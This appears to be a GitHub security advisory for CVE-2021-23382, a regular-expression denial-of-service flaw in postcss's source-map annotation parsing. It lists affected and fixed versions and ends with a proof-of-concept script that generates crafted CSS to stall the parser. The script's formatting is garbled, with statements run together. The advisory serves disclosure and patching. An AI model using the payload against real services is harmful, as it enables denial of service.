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ModerateVulnerabilityGHSA-566m-qj78-rww5CVE-2021-23382Published 7 Jan 2022

Regular Expression Denial of Service in postcss

Affected releases · postcss

  • 8.x8.0.0 – 8.2.12Fixed in 8.2.13
  • 7.x7.0.0 – 7.0.35Fixed in 7.0.36
  • 6.x and older0.1.0 – 6.0.23No fix, no longer updated

On 8.x, the newest line:

npm install postcss@8.2.13
8.x
  1. Affected

    8.0.0 – 8.2.12

    38 releases

  2. Fixed

    8.2.13 – 8.5.31

    97 releases, latest

7.x
  1. Affected

    7.0.0 – 7.0.35

    36 releases

  2. Fixed

    7.0.36 – 7.0.39

    4 releases

6.x
  1. Affected

    6.0.0 – 6.0.23

    24 releases

5.x
  1. Affected

    5.0.0 – 5.2.18

    44 releases

4.x
  1. Affected

    4.0.0 – 4.1.16

    24 releases

3.x
  1. Affected

    3.0.0 – 3.0.7

    8 releases

2.x
  1. Affected

    2.0.0 – 2.2.6

    11 releases

1.x
  1. Affected

    1.0.0 – 1.1.0

    2 releases

0.x
  1. Affected

    0.1.0 – 0.3.5

    8 releases

296 stable releases of postcss, oldest to newest, one row per major.

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What happens

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern

\/\*\s* sourceMappingURL=(.*)

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i) try {
            postcss.parse(attack_str) var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        } catch (e) {
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        }
    }
}